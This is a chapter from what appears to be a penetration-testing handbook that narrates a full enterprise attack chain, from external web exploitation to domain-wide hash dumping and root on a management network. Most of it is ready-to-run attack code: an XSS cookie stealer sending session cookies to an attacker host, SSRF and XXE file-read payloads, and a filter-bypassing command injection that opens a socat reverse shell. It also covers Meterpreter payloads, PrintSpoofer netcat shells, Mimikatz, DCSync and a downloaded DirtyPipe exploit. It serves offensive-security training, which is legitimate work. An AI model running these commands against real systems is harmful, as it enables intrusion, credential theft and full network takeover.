Skip to content

Chapter 8: Enterprise Kill Chain Capstone

Tags: #capstone #enterprise #kill-chain #multi-pivot #double-pivot #nfs-credentials #dnn #targeted-kerberoasting #acl-chain #genericwrite #dcsync #dirtypipe #management-network

Overview

This chapter is a full end-to-end enterprise engagement walkthrough. Unlike the preceding chapters which are technique reference libraries, this is a narrative kill chain — how multiple techniques chain together across real-world infrastructure. Use it to: (1) understand the sequencing and decision logic of a full engagement, (2) see how individual findings compound toward DA, and (3) spot patterns in your own assessments.

Scenario: External pentest against a target organization. Black-box start: one IP range, no credentials, no internal access. Goal: demonstrate the furthest-reaching compromise achievable.


Kill Chain Overview

PHASE 1: External Recon & Web App Attacks
  ↓ Command injection → initial shell (<found_user2>)
PHASE 2: Local Privilege Escalation — Linux (DMZ01)
  ↓ Audit log creds → su to <found_user3> → sudo openssl → root SSH key
PHASE 3: SSH Pivot into Internal Network
  ↓ SOCKS proxy through DMZ01 → discover 172.16.8.0/23
PHASE 4: NFS Share Exploitation → DNN Web App → SYSTEM on DEV01
  ↓ SAM dump → first domain user creds (<found_user4>:<CAPTURED_PASS>)
PHASE 5: AD Enumeration + Credential Compounding
  ↓ BloodHound + file shares + Snaffler + Kerberoasting + password spray
PHASE 6: ACL Chain — GenericWrite → Kerberoast → GenericAll → DCSync
  ↓ All domain hashes dumped
PHASE 7: Domain Admin on DC01 — SSH keys found in shares
PHASE 8: Double Pivot → Management Network (172.16.9.0/23)
  ↓ DirtyPipe → root on MGMT01

Phase 1: External Web Application Attacks

1a. Subdomain/VHost Enumeration

# Fast top-1000 scan on target
sudo nmap -sS --top-ports 1000 -T4 -Pn <TARGET_IP> -oA recon/nmap/fast_scan

# VHost fuzzing
ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
  -u http://<TARGET_IP> \
  -H "Host: FUZZ.<TARGET_DOMAIN>" \
  -fs <DEFAULT_SIZE> \
  -o recon/web/vhosts.json
Found vhosts: dev, blog (WordPress), status, support, tracking, vpn, gitlab, shopdev2, monitoring

1b. WordPress — WPScan + Weak Creds + Theme Editor RCE

# Enumerate plugins, themes, users
sudo wpscan -e ap -t 500 --url http://ir.<TARGET_DOMAIN>

# Password brute-force (admin users found from wpscan)
wpscan --url http://ir.<TARGET_DOMAIN> -P /usr/share/wordlists/rockyou.txt -U <found_user1>

# Once logged in as admin → Appearance → Theme Editor → inactive theme → 404.php
# Insert PHP web shell:
# <?php system($_GET['<PARAM>']); ?>

1c. SQL Injection — Manual + SQLMap

# Test payload in vulnerable field
# ' union select null,database(),user(),@@version -- //

# Automated
sqlmap -r sqli.txt --dbms=mysql --dbs --tables --dump

1d. Blind XSS → Session Hijacking

# Start PHP listener to catch cookies
python3 -m http.server 9200

# Listener server (index.php for cookie capture):
cat > index.php << 'EOF'
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
EOF

# Payload: inject this into any form that an admin will view
echo '"><script src=http://<ATTACKER_IP>:9200/script.js></script>'

// script.js — cookie stealer
new Image().src='http://<ATTACKER_IP>:9200/index.php?c='+document.cookie
Once cookies.txt receives the admin session → import into browser → access admin dashboard.

1e. SSRF via PDF Generation (HTML/JS Injection)

// Inject into PDF generation form field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

1f. XXE Injection

<!-- Intercept XML POST request, inject XXE payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userid [
  <!ENTITY xxetest SYSTEM "file:///etc/passwd">
]>
<root>
  <subtotal>undefined</subtotal>
  <userid>&xxetest;</userid>
</root>

1g. Command Injection with Filter Bypass — Initial Shell

Info

This technique shows how to bypass blacklists when common tools and operators are filtered. Key insight: single-quote characters around individual letters bypass word blacklists; ${IFS} replaces spaces; newline (%0a) separates commands without using &/;/|.

# Discover the injection (newline bypass + single-quote obfuscation)
curl "http://monitoring.<TARGET_DOMAIN>/ping.php?ip=127.0.0.1%0a'i'd"
# Output: uid=1004(<found_user2>)

# Read the filter source
curl "http://monitoring.<TARGET_DOMAIN>/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"

Filtered operators: & | ; \ / space Filtered words: whoami echo rm mv cp id curl wget cd sudo mkdir grep pwd find kill ps uname hostname nc netcat

# socat not filtered → reverse shell (socat available at /usr/bin/socat)
# Craft URL-encoded payload:
GET /ping.php?ip=127.0.0.1%0a's'o'c'a't'${IFS}TCP4:<ATTACKER_IP>:<LPORT>${IFS}EXEC:bash

# Catch the shell
nc -lvnp <LPORT>

Phase 2: Linux Privilege Escalation (DMZ01)

# Check groups — <found_user2> is in adm group
id
# <found_user2> is in adm group → can read audit logs

# Read audit TTY logs (find creds in audit log replay)
aureport --tty | less
# Found: <found_user3> / <CAPTURED_PASS>

# Switch user
su <found_user3>
# Password: <CAPTURED_PASS>

# Check sudo rights
sudo -l
# (ALL) NOPASSWD: /usr/bin/openssl

# Steal root SSH private key using openssl
LFILE=/root/.ssh/id_rsa
sudo /usr/bin/openssl enc -in $LFILE
# Output: -----BEGIN OPENSSH PRIVATE KEY----- ...

# Save key locally on attacker, SSH as root
chmod 600 dmz01_root_key
ssh -i dmz01_root_key root@<DMZ01_IP>

Phase 3: SSH Pivot into Internal Network

# Set up SOCKS proxy through DMZ01 (from attack box)
ssh -D 8081 -N -i dmz01_root_key root@<DMZ01_IP>

# Configure proxychains
echo "socks4 127.0.0.1 8081" >> /etc/proxychains.conf

# Ping sweep internal network (172.16.8.0/23)
# Run FROM dmz01 shell (no proxychains needed for this):
for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from

Discovered internal hosts: | IP | Role | Key Ports | |----|------|-----------| | 172.16.8.3 | DC01 (Domain Controller) | 53, 88, 389, 445, 636 | | 172.16.8.20 | DEV01 (Windows dev server) | 80, 445, 2049 (NFS), 3389 | | 172.16.8.50 | MS01 (Management server) | 445, 5985, 3389, 8080 |

# Port scan key hosts through proxy
proxychains nmap -sT -Pn -p 21,22,80,443,445,3389,5985,8080,2049 172.16.8.20 172.16.8.50 172.16.8.3

Phase 4: NFS Share → DNN → SeImpersonate → SYSTEM

4a. NFS Share Credential Extraction

# Enumerate NFS shares
proxychains showmount -e 172.16.8.20

# Mount the share (from DMZ01 as root — no auth needed)
mkdir /tmp/DEV01
mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01

# Hunt for credentials in web config files
find /tmp/DEV01 -name "web.config" -o -name "*.config" | xargs grep -l "password\|Password" 2>/dev/null
cat /tmp/DEV01/DNN/web.config
# Found: Administrator:<CAPTURED_PASS>

4b. DNN (DotNetNuke) → RCE via SQL Console

# Log into DNN admin panel
# http://172.16.8.20/ → admin:<CAPTURED_PASS>

# In admin panel: Settings → SQL Console
# Enable xp_cmdshell:
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
# Allow .exe and .asp file uploads:
# Settings → Security → More Security Settings → Allowable File Extensions → add ".exe,.asp"

# Upload: nc.exe, PrintSpoofer64.exe, ASP webshell
# Access webshell and get interactive shell

4c. SeImpersonatePrivilege → SYSTEM

# Check privileges
whoami /priv
# SeImpersonatePrivilege Enabled

# Use PrintSpoofer to get SYSTEM shell
C:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "C:\DotNetNuke\Portals\0\nc.exe <ATTACKER_IP> <LPORT> -e cmd"

# Catch shell — now SYSTEM on DEV01

4d. SAM/LSA Dump → First Domain Credentials

# Dump registry hives
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.SAVE
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.SAVE
reg save HKLM\SAM C:\Windows\Temp\SAM.SAVE

# Transfer to attack box (SMB server or HTTP)
# On attacker: impacket-smbserver share /tmp/share -smb2support
# copy C:\Windows\Temp\SYSTEM.SAVE \\<ATTACKER_IP>\share\

# Extract hashes on attacker
impacket-secretsdump LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE

# Key findings:
# SOME.DOMAIN\<found_user4>: <CAPTURED_PASS>  (from LSA secrets)
# Administrator: aad3b435b51404eeaad3b435b51404ee:<HASH>
First domain user obtained: <found_user4>:<CAPTURED_PASS>


Phase 5: AD Enumeration + Credential Compounding

5a. BloodHound Collection

# From DEV01 (domain-joined) as <found_user4>
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
# Transfer .zip to attacker → upload to BloodHound

# Key BloodHound findings:
# <found_user4> → ForceChangePassword → <found_user6>
# <found_user5> → GenericWrite → <found_user7>
# <found_user7> → GenericAll → SERVER ADMINS group
# SERVER ADMINS → DCSync rights on domain

5b. Password Spray → More Domain Creds

# From DEV01 or via proxychains
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -Verbose
# Found: <found_user8>:Welcome1, <found_user9>:Welcome1

5c. Snaffler + Share Hunting → Service Account Creds

# Hunt shares for credentials
.\Snaffler.exe -s -d some.domain -o snaffler.log -v data

# Key finds:
# IT/Private/Development/SQL Express Backup.ps1 → <found_user10>:<PASS>
# SYSVOL → <script>.vbs → account:<CAPTURED_PASS>
# CrackMapExec spider shares
proxychains crackmapexec smb 172.16.8.3 -u <found_user6> -p '<NEW_PASS>' -M spider_plus --share 'Department Shares'

5d. Kerberoasting → Service Account Hashes

Get-DomainUser * -SPN | select samaccountname
# Many SPNs: azureconnect, backupjob, mssqlsvc, sqldev, svc_sql...

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\spns.csv -NoTypeInformation
hashcat -m 13100 spns.csv /usr/share/wordlists/rockyou.txt
# Cracked: backupjob:<PASS>

5e. ACL Exploitation — ForceChangePassword on

# <found_user4> has ForceChangePassword over <found_user6> (from BloodHound)
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <found_user6> -AccountPassword (ConvertTo-SecureString '<NEW_PASS>' -AsPlainText -Force) -Verbose
# Verify
proxychains crackmapexec smb 172.16.8.3 -u <found_user6> -p '<NEW_PASS>'


Phase 6: ACL Chain → DCSync

Decision: → GenericWrite → → GenericAll → SERVER ADMINS → DCSync

6a. Get Credentials from MS01

# WinRM to MS01 with <found_user10> creds from Snaffler find
proxychains evil-winrm -i 172.16.8.50 -u <found_user10> -p '<PASS_FROM_SCRIPT>'

# Read unattend.xml
type C:\Panther\unattend.xml
# Found: <found_user11>:<CAPTURED_PASS>

# Exploit Sysax local priv esc:
# 1. Create C:\Windows\Temp\pwn.bat: net localgroup administrators <found_user11> /add
# 2. Open SysaxAutomation scheduler
# 3. Add scheduled task → monitor folder → run pwn.bat
# 4. Uncheck "Login as following user" (runs as SYSTEM)
# 5. Create a file in monitored folder → task triggers → <found_user11> added as admin

# Run Mimikatz as admin
mimikatz.exe
privilege::debug
token::elevate
lsadump::secrets
# Found: DefaultPassword: <CAPTURED_PASS>
# DefaultUserName: <found_user5>
# Credential: <found_user5>:<CAPTURED_PASS>

6b. Targeted Kerberoasting via GenericWrite

# <found_user5> has GenericWrite over <found_user7> → set fake SPN → Kerberoast
$SecPassword = ConvertTo-SecureString '<CAPTURED_PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('SOME\<found_user5>', $SecPassword)

# Add fake SPN to <found_user7>
Set-DomainObject -Credential $Cred -Identity <found_user7> -Set @{serviceprincipalname='acmetesting/LEGIT'} -Verbose
# Kerberoast <found_user7>
proxychains GetUserSPNs.py -dc-ip 172.16.8.3 SOME.DOMAIN/<found_user5>:<CAPTURED_PASS> -request-user <found_user7> -outputfile <found_user7>_tgs
hashcat -m 13100 <found_user7>_tgs /usr/share/wordlists/rockyou.txt
# Cracked: <found_user7>:<CRACKED_PASS>

6c. GenericAll on SERVER ADMINS → Add → DCSync

# <found_user7> has GenericAll over SERVER ADMINS
$timpass = ConvertTo-SecureString '<CRACKED_PASS>' -AsPlainText -Force
$timcreds = New-Object System.Management.Automation.PSCredential('SOME\<found_user7>', $timpass)

# Add <found_user7> to SERVER ADMINS (which has DCSync rights)
Add-DomainGroupMember -Identity 'Server Admins' -Members '<found_user7>' -Credential $timcreds -Verbose

6d. DCSync — All Domain Hashes

# DCSync with <found_user7> (now in SERVER ADMINS → has replication rights)
proxychains impacket-secretsdump <found_user7>:<PASS>@172.16.8.3 -just-dc-ntlm -outputfile domain_hashes

# Output: domain_hashes.ntds
# administrator:500:aad3b435b51404eeaad3b435b51404ee:<DA_NTLM>
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<KRBTGT_HASH>
# [All domain user hashes]

Phase 7: Domain Admin Access + Pivoting Setup

# PTH to DC01 as Administrator
proxychains evil-winrm -i 172.16.8.3 -u administrator -H <DA_NTLM>

# Enumerate network interfaces on DC (looking for additional subnets)
ipconfig /all
# Found: Ethernet0 172.16.8.3/23, Ethernet1 172.16.9.3/23
# Management network: 172.16.9.0/23

# Retrieve SSH private keys from Department Shares
dir "C:\Department Shares\IT\Private\Networking\"
download "C:\Department Shares\IT\Private\Networking\<found_user6adm>-id_rsa" /tmp/<found_user6adm>-id_rsa

Phase 8: Double Pivot — Reaching the Management Network

Info

The management network (172.16.9.0/23) is only reachable FROM DC01 — not from the attack box or DMZ01 directly. This requires a multi-hop pivot chain: attack box → DMZ01 → DC01 → management network.

Architecture

[Attack Box]
    ↓ SSH/MSF tunnel
[DMZ01 — 10.129.x.x / 172.16.8.120]
    ↓ Meterpreter portfwd
[DC01 — 172.16.8.3 / 172.16.9.3]
    ↓ MSF autoroute + socks_proxy
[MGMT01 — 172.16.9.25]

Step 1: Meterpreter on DMZ01

# Generate Linux Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f elf > shell.elf

# Upload to DMZ01 and execute
scp -i dmz01_root_key shell.elf root@<DMZ01_IP>:/tmp/
ssh -i dmz01_root_key root@<DMZ01_IP> "chmod +x /tmp/shell.elf && /tmp/shell.elf &"

# MSF multi/handler catches session
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
run

Step 2: Port Forward Through DMZ01 for DC01 Callback

(Meterpreter session 1 — dmz01)
portfwd add -R -l 8443 -p 1234 -L <ATTACKER_IP>
# Now 172.16.8.120:1234 forwards to attacker:8443

Step 3: Meterpreter on DC01

# Generate Windows x64 Meterpreter pointing to DMZ01 as relay
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 LPORT=1234 -f exe > dc_shell.exe

# Upload via evil-winrm session to DC01
upload dc_shell.exe C:\Windows\Temp\

# Execute
C:\Windows\Temp\dc_shell.exe

# MSF catches second session (via portfwd relay)

Step 4: Route to Management Network via DC01 Session

(msfconsole)
use post/multi/manage/autoroute
set SESSION 2    # DC01 session
set SUBNET 172.16.9.0
run

# Verify routes
run autoroute -p

# Start SOCKS proxy for management network
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
run -j

# Update proxychains to point to port 9050

Step 5: SSH into MGMT01

chmod 600 /tmp/<found_user6adm>-id_rsa
proxychains ssh -i /tmp/<found_user6adm>-id_rsa <found_user6adm>@172.16.9.25

Phase 9: Linux Privilege Escalation on MGMT01 (DirtyPipe)

# Check kernel version
uname -r
# 5.10.0-051000-generic → vulnerable to CVE-2022-0847 (Dirty Pipe)

# Find SUID binary to overwrite
find / -perm -4000 2>/dev/null
# /usr/lib/openssh/ssh-keysign (good target)

# Compile DirtyPipe exploit
wget http://<ATTACKER_IP>/dirtypipe.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp
chmod +x /tmp/dp

# Exploit — overwrites SUID binary temporarily, drops root shell
/tmp/dp /usr/lib/openssh/ssh-keysign
# [+] popping root shell..
id
# uid=0(root) gid=0(root) groups=0(root)

# CLEANUP — restore the overwritten SUID binary after exploitation
# DirtyPipe exploit v2 auto-restores, but verify:
ls -la /usr/lib/openssh/ssh-keysign

Key Chaining Patterns (Lessons for Your Engagements)

Pattern 1: Credential Reuse Chains

web.config (NFS) → DNN admin → xp_cmdshell → SYSTEM → LSA dump → domain user
LSA secrets → service account → WinRM → unattend.xml → local admin → Mimikatz → next account

Pattern 2: ACL Escalation Chains

User A → ForceChangePassword → User B (change B's password)
User A → GenericWrite → User C (set fake SPN → Kerberoast C)
User C → GenericAll → Group (add C to group)
Group → DCSync → all domain hashes

Pattern 3: Network Pivot Depth

External → perimeter host (command injection)
Perimeter → internal network (SSH SOCKS)
Internal → second segment (Meterpreter portfwd + autoroute)
Second segment → management/OOB network (double-hop SOCKS)

Pattern 4: Privilege Escalation Compounding

Unprivileged web shell → audit logs (adm group) → service account password
Service account → sudo NOPASSWD (openssl) → root SSH key
Root → network pivot → internal NFS share → credentials

Unique Techniques Summary

Technique Chapter Reference When to Use
Command injection filter bypass (${IFS}, quoted chars, %0a) § 1g Blacklist-based CMDi filtering
Audit log TTY capture (aureport --tty) § 2 Linux host with adm group membership
sudo openssl → file read (GTFOBin) § 2 openssl in sudo NOPASSWD
NFS world-readable share → web.config § 4a NFS port 2049 open on internal host
DNN SQL Console → xp_cmdshell → SYSTEM § 4b DotNetNuke with admin access
Sysax local priv esc (scheduled task as SYSTEM) § 6a Sysax Automation installed on Windows
LSA secrets DefaultPassword key § 6a Windows auto-login configured
GenericWrite → fake SPN → targeted Kerberoast § 6b BloodHound shows GenericWrite
Meterpreter portfwd + autoroute double pivot § 8 3rd network segment, no direct access
DirtyPipe kernel exploit (CVE-2022-0847) § 9 Linux kernel 5.8-5.17

Engagement Completion Checklist

Before writing the report, verify you have evidence for:
├── Each initial access vector (screenshot or command output)
├── Every credential set obtained (masked, not plaintext in notes)
├── Privilege escalation path on each host
├── Screenshot of DA-level access (whoami + hostname on DC)
├── Screenshot of management network access
├── BloodHound export (shows the ACL chain visually)
├── List of all high-risk findings with CVSS scores
└── Cleanup notes: removed shells, cleared portfwds, removed persistence
     → Chapter 9: Documentation & Reporting